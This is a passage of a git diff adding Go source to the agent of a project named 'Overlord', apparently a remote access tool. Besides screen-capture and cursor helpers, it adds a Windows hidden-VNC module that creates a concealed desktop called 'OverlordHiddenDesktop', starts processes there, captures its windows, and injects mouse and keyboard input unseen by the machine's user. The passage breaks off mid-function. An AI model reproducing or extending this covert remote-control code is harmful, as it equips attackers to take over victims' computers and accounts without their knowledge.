+import "github.com/kbinani/screenshot"
+
+var (
+ activeDisplays = screenshot.NumActiveDisplays
+ captureDisplayFn = screenshot.CaptureDisplay
+)
+
+func displayCount() int {
+ return screenshot.NumActiveDisplays()
+}
diff --git a/Overlord-Client/cmd/agent/capture/capture_vars_windows.go b/Overlord-Client/cmd/agent/capture/capture_vars_windows.go
new file mode 100644
index 0000000..5e7ee61
--- /dev/null
+++ b/Overlord-Client/cmd/agent/capture/capture_vars_windows.go
@@ -0,0 +1,5 @@
+//go:build windows
+
+package capture
+
+var activeDisplays = displayCount
diff --git a/Overlord-Client/cmd/agent/capture/cursor_default.go b/Overlord-Client/cmd/agent/capture/cursor_default.go
new file mode 100644
index 0000000..be49c7e
--- /dev/null
+++ b/Overlord-Client/cmd/agent/capture/cursor_default.go
@@ -0,0 +1,13 @@
+//go:build !windows
+
+package capture
+
+import (
+ "image"
+)
+
+func SetCursorCapture(enabled bool) {}
+
+func DrawCursorOnImage(img *image.RGBA, captureBounds image.Rectangle) {
+ // if you're not windows fuck you
+}
diff --git a/Overlord-Client/cmd/agent/capture/cursor_windows.go b/Overlord-Client/cmd/agent/capture/cursor_windows.go
new file mode 100644
index 0000000..9b4f304
--- /dev/null
+++ b/Overlord-Client/cmd/agent/capture/cursor_windows.go
@@ -0,0 +1,245 @@
+//go:build windows
+
+package capture
+
+import (
+ "image"
+ "image/color"
+ "sync/atomic"
+ "unsafe"
+)
+
+var (
+ cursorCaptureEnabled atomic.Bool
+)
+
+func SetCursorCapture(enabled bool) {
+ cursorCaptureEnabled.Store(enabled)
+}
+
+var (
+ procGetCursorPos = user32.NewProc("GetCursorPos")
+ procGetCursorInfo = user32.NewProc("GetCursorInfo")
+ procGetIconInfo = user32.NewProc("GetIconInfo")
+ procDrawIconEx = user32.NewProc("DrawIconEx")
+)
+
+const (
+ CURSOR_SHOWING = 0x00000001
+ DI_NORMAL = 0x0003
+ DI_DEFAULTSIZE = 0x0008
+)
+
+type point struct {
+ x int32
+ y int32
+}
+
+type cursorInfo struct {
+ cbSize uint32
+ flags uint32
+ hCursor uintptr
+ ptScreenPos point
+}
+
+type iconInfo struct {
+ fIcon uint32
+ xHotspot uint32
+ yHotspot uint32
+ hbmMask uintptr
+ hbmColor uintptr
+}
+
+func getCursorPosition() (x, y int32, visible bool) {
+ var ci cursorInfo
+ ci.cbSize = uint32(unsafe.Sizeof(ci))
+
+ ret, _, _ := procGetCursorInfo.Call(uintptr(unsafe.Pointer(&ci)))
+ if ret == 0 {
+ return 0, 0, false
+ }
+
+ visible = (ci.flags & CURSOR_SHOWING) != 0
+ return ci.ptScreenPos.x, ci.ptScreenPos.y, visible
+}
+
+func drawCursor(img *image.RGBA, cursorX, cursorY int32, bounds image.Rectangle) {
+ imgX := int(cursorX) - bounds.Min.X
+ imgY := int(cursorY) - bounds.Min.Y
+
+ if imgX < 0 || imgY < 0 || imgX >= img.Bounds().Dx() || imgY >= img.Bounds().Dy() {
+ return
+ }
+
+ cursorPattern := []struct {
+ x, y int
+ c color.RGBA
+ }{
+ {0, 0, color.RGBA{0, 0, 0, 255}},
+ {0, 1, color.RGBA{0, 0, 0, 255}},
+ {0, 2, color.RGBA{0, 0, 0, 255}},
+ {0, 3, color.RGBA{0, 0, 0, 255}},
+ {0, 4, color.RGBA{0, 0, 0, 255}},
+ {0, 5, color.RGBA{0, 0, 0, 255}},
+ {0, 6, color.RGBA{0, 0, 0, 255}},
+ {0, 7, color.RGBA{0, 0, 0, 255}},
+ {0, 8, color.RGBA{0, 0, 0, 255}},
+ {0, 9, color.RGBA{0, 0, 0, 255}},
+ {0, 10, color.RGBA{0, 0, 0, 255}},
+ {0, 11, color.RGBA{0, 0, 0, 255}},
+ {1, 0, color.RGBA{0, 0, 0, 255}},
+ {1, 10, color.RGBA{0, 0, 0, 255}},
+ {2, 0, color.RGBA{0, 0, 0, 255}},
+ {2, 9, color.RGBA{0, 0, 0, 255}},
+ {3, 0, color.RGBA{0, 0, 0, 255}},
+ {3, 8, color.RGBA{0, 0, 0, 255}},
+ {3, 9, color.RGBA{0, 0, 0, 255}},
+ {4, 0, color.RGBA{0, 0, 0, 255}},
+ {4, 7, color.RGBA{0, 0, 0, 255}},
+ {4, 8, color.RGBA{0, 0, 0, 255}},
+ {5, 0, color.RGBA{0, 0, 0, 255}},
+ {5, 6, color.RGBA{0, 0, 0, 255}},
+ {5, 7, color.RGBA{0, 0, 0, 255}},
+ {5, 13, color.RGBA{0, 0, 0, 255}},
+ {6, 0, color.RGBA{0, 0, 0, 255}},
+ {6, 5, color.RGBA{0, 0, 0, 255}},
+ {6, 6, color.RGBA{0, 0, 0, 255}},
+ {6, 12, color.RGBA{0, 0, 0, 255}},
+ {6, 13, color.RGBA{0, 0, 0, 255}},
+ {7, 0, color.RGBA{0, 0, 0, 255}},
+ {7, 4, color.RGBA{0, 0, 0, 255}},
+ {7, 5, color.RGBA{0, 0, 0, 255}},
+ {7, 11, color.RGBA{0, 0, 0, 255}},
+ {7, 12, color.RGBA{0, 0, 0, 255}},
+ {8, 4, color.RGBA{0, 0, 0, 255}},
+ {8, 10, color.RGBA{0, 0, 0, 255}},
+ {8, 11, color.RGBA{0, 0, 0, 255}},
+ {9, 4, color.RGBA{0, 0, 0, 255}},
+ {9, 9, color.RGBA{0, 0, 0, 255}},
+ {9, 10, color.RGBA{0, 0, 0, 255}},
+ {10, 8, color.RGBA{0, 0, 0, 255}},
+ {10, 9, color.RGBA{0, 0, 0, 255}},
+ {11, 7, color.RGBA{0, 0, 0, 255}},
+ {11, 8, color.RGBA{0, 0, 0, 255}},
+ {12, 6, color.RGBA{0, 0, 0, 255}},
+ {12, 7, color.RGBA{0, 0, 0, 255}},
+
+ {1, 1, color.RGBA{255, 255, 255, 255}},
+ {1, 2, color.RGBA{255, 255, 255, 255}},
+ {1, 3, color.RGBA{255, 255, 255, 255}},
+ {1, 4, color.RGBA{255, 255, 255, 255}},
+ {1, 5, color.RGBA{255, 255, 255, 255}},
+ {1, 6, color.RGBA{255, 255, 255, 255}},
+ {1, 7, color.RGBA{255, 255, 255, 255}},
+ {1, 8, color.RGBA{255, 255, 255, 255}},
+ {1, 9, color.RGBA{255, 255, 255, 255}},
+ {2, 1, color.RGBA{255, 255, 255, 255}},
+ {2, 2, color.RGBA{255, 255, 255, 255}},
+ {2, 3, color.RGBA{255, 255, 255, 255}},
+ {2, 4, color.RGBA{255, 255, 255, 255}},
+ {2, 5, color.RGBA{255, 255, 255, 255}},
+ {2, 6, color.RGBA{255, 255, 255, 255}},
+ {2, 7, color.RGBA{255, 255, 255, 255}},
+ {2, 8, color.RGBA{255, 255, 255, 255}},
+ {3, 1, color.RGBA{255, 255, 255, 255}},
+ {3, 2, color.RGBA{255, 255, 255, 255}},
+ {3, 3, color.RGBA{255, 255, 255, 255}},
+ {3, 4, color.RGBA{255, 255, 255, 255}},
+ {3, 5, color.RGBA{255, 255, 255, 255}},
+ {3, 6, color.RGBA{255, 255, 255, 255}},
+ {3, 7, color.RGBA{255, 255, 255, 255}},
+ {4, 1, color.RGBA{255, 255, 255, 255}},
+ {4, 2, color.RGBA{255, 255, 255, 255}},
+ {4, 3, color.RGBA{255, 255, 255, 255}},
+ {4, 4, color.RGBA{255, 255, 255, 255}},
+ {4, 5, color.RGBA{255, 255, 255, 255}},
+ {4, 6, color.RGBA{255, 255, 255, 255}},
+ {5, 1, color.RGBA{255, 255, 255, 255}},
+ {5, 2, color.RGBA{255, 255, 255, 255}},
+ {5, 3, color.RGBA{255, 255, 255, 255}},
+ {5, 4, color.RGBA{255, 255, 255, 255}},
+ {5, 5, color.RGBA{255, 255, 255, 255}},
+ {5, 11, color.RGBA{255, 255, 255, 255}},
+ {5, 12, color.RGBA{255, 255, 255, 255}},
+ {6, 1, color.RGBA{255, 255, 255, 255}},
+ {6, 2, color.RGBA{255, 255, 255, 255}},
+ {6, 3, color.RGBA{255, 255, 255, 255}},
+ {6, 4, color.RGBA{255, 255, 255, 255}},
+ {6, 10, color.RGBA{255, 255, 255, 255}},
+ {6, 11, color.RGBA{255, 255, 255, 255}},
+ {7, 1, color.RGBA{255, 255, 255, 255}},
+ {7, 2, color.RGBA{255, 255, 255, 255}},
+ {7, 3, color.RGBA{255, 255, 255, 255}},
+ {7, 9, color.RGBA{255, 255, 255, 255}},
+ {7, 10, color.RGBA{255, 255, 255, 255}},
+ {8, 5, color.RGBA{255, 255, 255, 255}},
+ {8, 6, color.RGBA{255, 255, 255, 255}},
+ {8, 7, color.RGBA{255, 255, 255, 255}},
+ {8, 8, color.RGBA{255, 255, 255, 255}},
+ {8, 9, color.RGBA{255, 255, 255, 255}},
+ {9, 5, color.RGBA{255, 255, 255, 255}},
+ {9, 6, color.RGBA{255, 255, 255, 255}},
+ {9, 7, color.RGBA{255, 255, 255, 255}},
+ {9, 8, color.RGBA{255, 255, 255, 255}},
+ {10, 6, color.RGBA{255, 255, 255, 255}},
+ {10, 7, color.RGBA{255, 255, 255, 255}},
+ {11, 6, color.RGBA{255, 255, 255, 255}},
+ }
+
+ for _, p := range cursorPattern {
+ px := imgX + p.x
+ py := imgY + p.y
+ if px >= 0 && px < img.Bounds().Dx() && py >= 0 && py < img.Bounds().Dy() {
+ img.SetRGBA(px, py, p.c)
+ }
+ }
+}
+
+func DrawCursorOnDC(hdc uintptr, captureBounds image.Rectangle) bool {
+ if !cursorCaptureEnabled.Load() || hdc == 0 {
+ return false
+ }
+ var ci cursorInfo
+ ci.cbSize = uint32(unsafe.Sizeof(ci))
+ ret, _, _ := procGetCursorInfo.Call(uintptr(unsafe.Pointer(&ci)))
+ if ret == 0 || (ci.flags&CURSOR_SHOWING) == 0 || ci.hCursor == 0 {
+ return false
+ }
+ var icon iconInfo
+ ret, _, _ = procGetIconInfo.Call(ci.hCursor, uintptr(unsafe.Pointer(&icon)))
+ if ret == 0 {
+ return false
+ }
+ if icon.hbmMask != 0 {
+ defer deleteObject(icon.hbmMask)
+ }
+ if icon.hbmColor != 0 {
+ defer deleteObject(icon.hbmColor)
+ }
+
+ x := int32(ci.ptScreenPos.x) - int32(captureBounds.Min.X) - int32(icon.xHotspot)
+ y := int32(ci.ptScreenPos.y) - int32(captureBounds.Min.Y) - int32(icon.yHotspot)
+ ret, _, _ = procDrawIconEx.Call(
+ hdc,
+ uintptr(x),
+ uintptr(y),
+ ci.hCursor,
+ 0,
+ 0,
+ 0,
+ 0,
+ uintptr(DI_NORMAL),
+ )
+ return ret != 0
+}
+
+func DrawCursorOnImage(img *image.RGBA, captureBounds image.Rectangle) {
+ if !cursorCaptureEnabled.Load() {
+ return
+ }
+
+ x, y, visible := getCursorPosition()
+ if visible {
+ drawCursor(img, x, y, captureBounds)
+ }
+}
diff --git a/Overlord-Client/cmd/agent/capture/desktop_duplication_default.go b/Overlord-Client/cmd/agent/capture/desktop_duplication_default.go
new file mode 100644
index 0000000..162fc99
--- /dev/null
+++ b/Overlord-Client/cmd/agent/capture/desktop_duplication_default.go
@@ -0,0 +1,5 @@
+//go:build !windows
+
+package capture
+
+func SetDesktopDuplication(enabled bool) {}
diff --git a/Overlord-Client/cmd/agent/capture/hvnc_stub.go b/Overlord-Client/cmd/agent/capture/hvnc_stub.go
new file mode 100644
index 0000000..f967f1c
--- /dev/null
+++ b/Overlord-Client/cmd/agent/capture/hvnc_stub.go
@@ -0,0 +1,52 @@
+//go:build !windows
+
+package capture
+
+import (
+ "errors"
+ "image"
+)
+
+func InitializeHVNCDesktop() error {
+ return errors.New("HVNC not supported on this platform")
+}
+
+func CleanupHVNCDesktop() {}
+
+func SetHVNCCursorCapture(enabled bool) {}
+
+func hvncCaptureDisplay(display int) (*image.RGBA, error) {
+ return nil, errors.New("HVNC not supported on this platform")
+}
+
+func HVNCMonitorCount() int {
+ return 0
+}
+
+func StartHVNCProcess(filePath string) error {
+ return errors.New("HVNC not supported on this platform")
+}
+
+func HVNCInputMouseMove(display int, x, y int32) error {
+ return errors.New("HVNC not supported on this platform")
+}
+
+func HVNCInputMouseDown(button int) error {
+ return errors.New("HVNC not supported on this platform")
+}
+
+func HVNCInputMouseUp(button int) error {
+ return errors.New("HVNC not supported on this platform")
+}
+
+func HVNCInputKeyDown(vk uint16) error {
+ return errors.New("HVNC not supported on this platform")
+}
+
+func HVNCInputKeyUp(vk uint16) error {
+ return errors.New("HVNC not supported on this platform")
+}
+
+func HVNCInputMouseWheel(delta int32) error {
+ return errors.New("HVNC not supported on this platform")
+}
diff --git a/Overlord-Client/cmd/agent/capture/hvnc_windows.go b/Overlord-Client/cmd/agent/capture/hvnc_windows.go
new file mode 100644
index 0000000..fe2cf01
--- /dev/null
+++ b/Overlord-Client/cmd/agent/capture/hvnc_windows.go
@@ -0,0 +1,1163 @@
+//go:build windows
+
+package capture
+
+import (
+ "fmt"
+ "image"
+ "log"
+ "runtime"
+ "sync"
+ "sync/atomic"
+ "syscall"
+ "time"
+ "unsafe"
+)
+
+var (
+ procCreateDesktopW = user32.NewProc("CreateDesktopW")
+ procOpenDesktopW = user32.NewProc("OpenDesktopW")
+ procCloseDesktop = user32.NewProc("CloseDesktop")
+ procSetThreadDesktop = user32.NewProc("SetThreadDesktop")
+ procGetThreadDesktop = user32.NewProc("GetThreadDesktop")
+ procSwitchDesktop = user32.NewProc("SwitchDesktop")
+ procGetCurrentThreadId = kernel32.NewProc("GetCurrentThreadId")
+ procGetDesktopWindow = user32.NewProc("GetDesktopWindow")
+ procGetWindowRect = user32.NewProc("GetWindowRect")
+ procIsWindowVisible = user32.NewProc("IsWindowVisible")
+ procPrintWindow = user32.NewProc("PrintWindow")
+ procGetWindow = user32.NewProc("GetWindow")
+ procGetTopWindow = user32.NewProc("GetTopWindow")
+ procCreateProcessW = kernel32.NewProc("CreateProcessW")
+ procSendInputHVNC = user32.NewProc("SendInput")
+ procSetCursorPosHVNC = user32.NewProc("SetCursorPos")
+ procGetCursorPosHVNC = user32.NewProc("GetCursorPos")
+ procWindowFromPoint = user32.NewProc("WindowFromPoint")
+ procScreenToClient = user32.NewProc("ScreenToClient")
+ procPostMessageW = user32.NewProc("PostMessageW")
+ procSendMessageW = user32.NewProc("SendMessageW")
+ procSetWindowPos = user32.NewProc("SetWindowPos")
+ procSetForegroundWindow = user32.NewProc("SetForegroundWindow")
+ procSetActiveWindow = user32.NewProc("SetActiveWindow")
+ procSetFocus = user32.NewProc("SetFocus")
+ procGetForegroundWindow = user32.NewProc("GetForegroundWindow")
+ procMapVirtualKeyW = user32.NewProc("MapVirtualKeyW")
+ procToUnicode = user32.NewProc("ToUnicode")
+)
+
+const (
+ DESKTOP_READOBJECTS = 0x0001
+ DESKTOP_CREATEWINDOW = 0x0002
+ DESKTOP_CREATEMENU = 0x0004
+ DESKTOP_HOOKCONTROL = 0x0008
+ DESKTOP_JOURNALRECORD = 0x0010
+ DESKTOP_JOURNALPLAYBACK = 0x0020
+ DESKTOP_ENUMERATE = 0x0040
+ DESKTOP_WRITEOBJECTS = 0x0080
+ DESKTOP_SWITCHDESKTOP = 0x0100
+
+ GENERIC_ALL = 0x10000000
+
+ DESKTOP_ALL_ACCESS = DESKTOP_READOBJECTS | DESKTOP_CREATEWINDOW |
+ DESKTOP_CREATEMENU | DESKTOP_HOOKCONTROL | DESKTOP_JOURNALRECORD |
+ DESKTOP_JOURNALPLAYBACK | DESKTOP_ENUMERATE | DESKTOP_WRITEOBJECTS |
+ DESKTOP_SWITCHDESKTOP | GENERIC_ALL
+
+ GW_HWNDFIRST = 0
+ GW_HWNDLAST = 1
+ GW_HWNDNEXT = 2
+ GW_HWNDPREV = 3
+ PW_RENDERFULLCONTENT = 0x00000002
+
+ STARTF_USEPOSITION = 0x00000004
+ CREATE_NEW_CONSOLE = 0x00000010
+ MOUSEEVENTF_MOVE = 0x0001
+ MOUSEEVENTF_LEFTDOWN = 0x0002
+ MOUSEEVENTF_LEFTUP = 0x0004
+ MOUSEEVENTF_RIGHTDOWN = 0x0008
+ MOUSEEVENTF_RIGHTUP = 0x0010
+ MOUSEEVENTF_MIDDLEDOWN = 0x0020
+ MOUSEEVENTF_MIDDLEUP = 0x0040
+ INPUT_MOUSE = 0
+ INPUT_KEYBOARD = 1
+ KEYEVENTF_KEYUP = 0x0002
+ VK_SHIFT = 0x10
+ VK_CONTROL = 0x11
+ VK_MENU = 0x12
+ VK_CAPITAL = 0x14
+ VK_LSHIFT = 0xA0
+ VK_RSHIFT = 0xA1
+ VK_LCONTROL = 0xA2
+ VK_RCONTROL = 0xA3
+ VK_LMENU = 0xA4
+ VK_RMENU = 0xA5
+ WM_MOUSEMOVE = 0x0200
+ WM_LBUTTONDOWN = 0x0201
+ WM_LBUTTONUP = 0x0202
+ WM_RBUTTONDOWN = 0x0204
+ WM_RBUTTONUP = 0x0205
+ WM_MBUTTONDOWN = 0x0207
+ WM_MBUTTONUP = 0x0208
+ WM_NCHITTEST = 0x0084
+ WM_NCLBUTTONDOWN = 0x00A1
+ WM_NCLBUTTONUP = 0x00A2
+ WM_CLOSE = 0x0010
+ WM_KEYDOWN = 0x0100
+ WM_KEYUP = 0x0101
+ WM_CHAR = 0x0102
+ WM_MOUSEWHEEL = 0x020A
+ MK_LBUTTON = 0x0001
+ MK_RBUTTON = 0x0002
+ MK_MBUTTON = 0x0010
+ WHEEL_DELTA = 120
+ HTCAPTION = 2
+ HTCLOSE = 20
+ HTMINBUTTON = 8
+ HTMAXBUTTON = 9
+ HTLEFT = 10
+ HTRIGHT = 11
+ HTTOP = 12
+ HTTOPLEFT = 13
+ HTTOPRIGHT = 14
+ HTBOTTOM = 15
+ HTBOTTOMLEFT = 16
+ HTBOTTOMRIGHT = 17
+)
+
+var (
+ hvncDesktopHandle uintptr
+ hvncDesktopMu sync.Mutex
+ hvncDesktopName = "OverlordHiddenDesktop"
+ hvncInitialized bool
+ hvncOriginalDesktop uintptr
+ hvncCursorEnabled bool
+ hvncThreadOnce sync.Once
+ hvncThreadErr error
+ hvncThreadReady chan struct{}
+ hvncThreadTasks chan hvncTask
+ hvncNoWindowLogNs atomic.Int64
+ hvncInputMu sync.Mutex
+ hvncLastCursor point
+ hvncHasCursor bool
+ hvncWorkingWindow uintptr
+ hvncShiftDown bool
+ hvncCtrlDown bool
+ hvncAltDown bool
+ hvncCapsLock bool
+ hvncMovingWindow bool
+ hvncMoveOffset point
+ hvncWindowSize point
+ hvncWindowToMove uintptr
+ hvncMouseButtons uint32
+)
+
+type hvncTaskKind int
+
+const (
+ hvncTaskCapture hvncTaskKind = iota
+ hvncTaskStartProcess
+ hvncTaskMouseMove
+ hvncTaskMouseDown
+ hvncTaskMouseUp
+ hvncTaskKeyDown
+ hvncTaskKeyUp
+ hvncTaskMouseWheel
+)
+
+type hvncTask struct {
+ kind hvncTaskKind
+ display int
+ filePath string
+ x int32
+ y int32
+ button int
+ vk uint16
+ delta int32
+ resp chan hvncTaskResult
+}
+
+type hvncTaskResult struct {
+ img *image.RGBA
+ err error
+}
+
+type startupInfo struct {
+ cb uint32
+ lpReserved *uint16
+ lpDesktop *uint16
+ lpTitle *uint16
+ dwX uint32
+ dwY uint32
+ dwXSize uint32
+ dwYSize uint32
+ dwXCountChars uint32
+ dwYCountChars uint32
+ dwFillAttribute uint32
+ dwFlags uint32
+ wShowWindow uint16
+ cbReserved2 uint16
+ lpReserved2 *byte
+ hStdInput uintptr
+ hStdOutput uintptr
+ hStdErr uintptr
+}
+
+type processInformation struct {
+ hProcess uintptr
+ hThread uintptr
+ dwProcessId uint32
+ dwThreadId uint32
+}
+
+type mouseInput struct {
+ dx int32
+ dy int32
+ mouseData uint32
+ dwFlags uint32
+ time uint32
+ dwExtraInfo uintptr
+}
+
+type keybdInput struct {
+ wVk uint16
+ wScan uint16
+ dwFlags uint32
+ time uint32
+ dwExtraInfo uintptr
+}
+
+type input struct {
+ inputType uint32
+ union [24]byte
+}
+
+func getCurrentThreadId() uint32 {
+ r, _, _ := procGetCurrentThreadId.Call()
+ return uint32(r)
+}
+
+func getThreadDesktop(threadId uint32) uintptr {
+ r, _, _ := procGetThreadDesktop.Call(uintptr(threadId))
+ return r
+}
+
+func isWindowVisible(hwnd uintptr) bool {
+ r, _, _ := procIsWindowVisible.Call(hwnd)
+ return r != 0
+}
+
+func printWindow(hwnd, hdc uintptr, flags uint32) bool {
+ r, _, _ := procPrintWindow.Call(hwnd, hdc, uintptr(flags))
+ return r != 0
+}
+
+func getWindow(hwnd uintptr, cmd uint32) uintptr {
+ r, _, _ := procGetWindow.Call(hwnd, uintptr(cmd))
+ return r
+}
+
+func getTopWindow(hwnd uintptr) uintptr {
+ r, _, _ := procGetTopWindow.Call(hwnd)
+ return r
+}
+
+func InitializeHVNCDesktop() error {
+ hvncDesktopMu.Lock()
+ defer hvncDesktopMu.Unlock()
+
+ if hvncInitialized && hvncDesktopHandle != 0 {
+ return nil
+ }
+
+ threadId := getCurrentThreadId()
+ hvncOriginalDesktop = getThreadDesktop(threadId)
+
+ desktopNamePtr, err := syscall.UTF16PtrFromString(hvncDesktopName)
+ if err != nil {
+ return fmt.Errorf("failed to convert desktop name: %v", err)
+ }
+
+ r, _, _ := procOpenDesktopW.Call(
+ uintptr(unsafe.Pointer(desktopNamePtr)),
+ 0,
+ 0,
+ uintptr(DESKTOP_ALL_ACCESS),
+ )
+
+ if r == 0 {
+ r, _, err = procCreateDesktopW.Call(
+ uintptr(unsafe.Pointer(desktopNamePtr)),
+ 0,
+ 0,
+ 0,
+ uintptr(DESKTOP_ALL_ACCESS),
+ 0,
+ )
+
+ if r == 0 {
+ return fmt.Errorf("failed to create hidden desktop: %v", err)
+ }
+ }
+
+ hvncDesktopHandle = r
+ hvncInitialized = true
+ return nil
+}
+
+func CleanupHVNCDesktop() {
+ hvncDesktopMu.Lock()
+ defer hvncDesktopMu.Unlock()
+
+ if hvncDesktopHandle != 0 {
+ if hvncOriginalDesktop != 0 {
+ procSetThreadDesktop.Call(hvncOriginalDesktop)
+ }
+
+ procCloseDesktop.Call(hvncDesktopHandle)
+ hvncDesktopHandle = 0
+ }
+ hvncInitialized = false
+ if hvncThreadTasks != nil {
+ close(hvncThreadTasks)
+ hvncThreadTasks = nil
+ }
+ hvncThreadReady = nil
+ hvncThreadErr = nil
+ hvncThreadOnce = sync.Once{}
+}
+
+func SetHVNCCursorCapture(enabled bool) {
+ hvncCursorEnabled = enabled
+}
+
+func hvncDesktopBounds() (image.Rectangle, bool) {
+ hwnd, _, _ := procGetDesktopWindow.Call()
+ if hwnd == 0 {
+ return image.Rectangle{}, false
+ }
+ var r rect
+ ok, _, _ := procGetWindowRect.Call(hwnd, uintptr(unsafe.Pointer(&r)))
+ if ok == 0 {
+ return image.Rectangle{}, false
+ }
+ if r.right <= r.left || r.bottom <= r.top {
+ return image.Rectangle{}, false
+ }
+ return image.Rect(int(r.left), int(r.top), int(r.right), int(r.bottom)), true
+}
+
+func ensureHVNCThread() error {
+ hvncDesktopMu.Lock()
+ desktopHandle := hvncDesktopHandle
+ hvncDesktopMu.Unlock()
+
+ if desktopHandle == 0 {
+ return fmt.Errorf("hvnc desktop not initialized")
+ }
+
+ hvncThreadOnce.Do(func() {
+ hvncThreadReady = make(chan struct{})
+ hvncThreadTasks = make(chan hvncTask)
+ go func(handle uintptr) {
+ defer recoverAndLog("hvnc desktop thread", nil)
+ runtime.LockOSThread()
+ defer runtime.UnlockOSThread()
+
+ r, _, err := procSetThreadDesktop.Call(handle)
+ if r == 0 {
+ hvncThreadErr = fmt.Errorf("failed to set thread desktop: %v", err)
+ close(hvncThreadReady)
+ for task := range hvncThreadTasks {
+ task.resp <- hvncTaskResult{nil, hvncThreadErr}
+ }
+ return
+ }
+
+ close(hvncThreadReady)
+ for task := range hvncThreadTasks {
+ switch task.kind {
+ case hvncTaskStartProcess:
+ err := startHVNCProcessOnThread(task.filePath)
+ task.resp <- hvncTaskResult{nil, err}
+ case hvncTaskMouseMove:
+ err := hvncMouseMoveOnThread(task.display, task.x, task.y)
+ task.resp <- hvncTaskResult{nil, err}
+ case hvncTaskMouseDown:
+ err := hvncMouseButtonOnThread(task.button, true)
+ task.resp <- hvncTaskResult{nil, err}
+ case hvncTaskMouseUp:
+ err := hvncMouseButtonOnThread(task.button, false)
+ task.resp <- hvncTaskResult{nil, err}
+ case hvncTaskKeyDown:
+ err := hvncKeyOnThread(task.vk, true)
+ task.resp <- hvncTaskResult{nil, err}
+ case hvncTaskKeyUp:
+ err := hvncKeyOnThread(task.vk, false)
+ task.resp <- hvncTaskResult{nil, err}
+ case hvncTaskMouseWheel:
+ err := hvncMouseWheelOnThread(task.delta)
+ task.resp <- hvncTaskResult{nil, err}
+ default:
+ img, err := hvncCaptureDisplayOnThread(task.display)
+ task.resp <- hvncTaskResult{img, err}
+ }
+ }
+ }(desktopHandle)
+ })
+
+ if hvncThreadReady != nil {
+ <-hvncThreadReady
+ }
+
+ return hvncThreadErr
+}
+
+func hvncCaptureDisplay(display int) (*image.RGBA, error) {
+ if err := ensureHVNCThread(); err != nil {
+ return nil, err
+ }
+
+ resp := make(chan hvncTaskResult, 1)
+ hvncThreadTasks <- hvncTask{kind: hvncTaskCapture, display: display, resp: resp}
+ result := <-resp
+ return result.img, result.err
+}
+
+func StartHVNCProcess(filePath string) error {
+ if filePath == "" {
+ return fmt.Errorf("empty file path")
+ }
+ if err := ensureHVNCThread(); err != nil {
+ return err
+ }
+ resp := make(chan hvncTaskResult, 1)
+ hvncThreadTasks <- hvncTask{kind: hvncTaskStartProcess, filePath: filePath, resp: resp}
+ result := <-resp
+ return result.err
+}
+
+func HVNCInputMouseMove(display int, x, y int32) error {
+ if err := ensureHVNCThread(); err != nil {
+ return err
+ }
+ resp := make(chan hvncTaskResult, 1)
+ hvncThreadTasks <- hvncTask{kind: hvncTaskMouseMove, display: display, x: x, y: y, resp: resp}
+ result := <-resp
+ return result.err
+}
+
+func HVNCInputMouseDown(button int) error {
+ if err := ensureHVNCThread(); err != nil {
+ return err
+ }
+ resp := make(chan hvncTaskResult, 1)
+ hvncThreadTasks <- hvncTask{kind: hvncTaskMouseDown, button: button, resp: resp}
+ result := <-resp
+ return result.err
+}
+
+func HVNCInputMouseUp(button int) error {
+ if err := ensureHVNCThread(); err != nil {
+ return err
+ }
+ resp := make(chan hvncTaskResult, 1)
+ hvncThreadTasks <- hvncTask{kind: hvncTaskMouseUp, button: button, resp: resp}
+ result := <-resp
+ return result.err
+}
+
+func HVNCInputKeyDown(vk uint16) error {
+ if err := ensureHVNCThread(); err != nil {
+ return err
+ }
+ resp := make(chan hvncTaskResult, 1)
+ hvncThreadTasks <- hvncTask{kind: hvncTaskKeyDown, vk: vk, resp: resp}
+ result := <-resp
+ return result.err
+}
+
+func HVNCInputKeyUp(vk uint16) error {
+ if err := ensureHVNCThread(); err != nil {
+ return err
+ }
+ resp := make(chan hvncTaskResult, 1)
+ hvncThreadTasks <- hvncTask{kind: hvncTaskKeyUp, vk: vk, resp: resp}
+ result := <-resp
+ return result.err
+}
+
+func HVNCInputMouseWheel(delta int32) error {
+ if err := ensureHVNCThread(); err != nil {
+ return err
+ }
+ resp := make(chan hvncTaskResult, 1)
+ hvncThreadTasks <- hvncTask{kind: hvncTaskMouseWheel, delta: delta, resp: resp}
+ result := <-resp
+ return result.err
+}
+
+func hvncCaptureDisplayOnThread(display int) (*image.RGBA, error) {
+ captureMu.Lock()
+ defer captureMu.Unlock()
+
+ setDPIAware()
+
+ maxDisplays := displayCount()
+ if maxDisplays <= 0 {
+ maxDisplays = 1
+ }
+ if display < 0 || display >= maxDisplays {
+ log.Printf("hvnc capture: requested display %d out of range (0-%d), defaulting to 0", display, maxDisplays-1)
+ display = 0
+ }
+
+ bounds, boundsSource := hvncResolveCaptureBounds(display)
+ srcW := bounds.Dx()
+ srcH := bounds.Dy()
+ if srcW <= 0 || srcH <= 0 {
+ log.Printf("hvnc capture: invalid bounds for display=%d source=%s bounds=%v", display, boundsSource, bounds)
+ return nil, syscall.EINVAL
+ }
+
+ userScale := captureScale()
+ dstW := int(float64(srcW) * userScale)
+ dstH := int(float64(srcH) * userScale)
+ if dstW <= 0 || dstH <= 0 {
+ dstW = srcW
+ dstH = srcH
+ }
+
+ capW := srcW
+ capH := srcH
+
+ hdcScreen := getDC(0)
+ if hdcScreen == 0 {
+ return nil, syscall.EINVAL
+ }
+ defer releaseDC(0, hdcScreen)
+
+ hdcMem := createCompatibleDC(hdcScreen)
+ if hdcMem == 0 {
+ return nil, syscall.EINVAL
+ }
+ defer deleteDC(hdcMem)
+
+ bmi := bitmapInfo{
+ bmiHeader: bitmapInfoHeader{
+ biSize: uint32(unsafe.Sizeof(bitmapInfoHeader{})),
+ biWidth: int32(capW),
+ biHeight: -int32(capH),
+ biPlanes: 1,
+ biBitCount: 32,
+ biCompression: BI_RGB,
+ },
+ }
+ var bits unsafe.Pointer
+ hbmp := createDIBSection(hdcMem, &bmi, DIB_RGB_COLORS, &bits)
+ if hbmp == 0 || bits == nil {
+ return nil, syscall.EINVAL
+ }
+ selectObject(hdcMem, hbmp)
+
+ buf := unsafe.Slice((*byte)(bits), capW*capH*4)
+ for i := range buf {
+ buf[i] = 0
+ }
+
+ drawn := drawHVNCWindowsToBuffer(hdcScreen, bounds, buf, capW*4)
+ if drawn == 0 {
+ now := time.Now().UnixNano()
+ last := hvncNoWindowLogNs.Load()
+ if now-last > int64(5*time.Second) && hvncNoWindowLogNs.CompareAndSwap(last, now) {
+ log.Printf("hvnc capture: no windows drawn for display=%d source=%s bounds=%v", display, boundsSource, bounds)
+ }
+ }
+
+ swapRB(buf)
+ img := image.NewRGBA(image.Rect(0, 0, capW, capH))
+ copy(img.Pix, buf)
+
+ deleteObject(hbmp)
+
+ if hvncCursorEnabled {
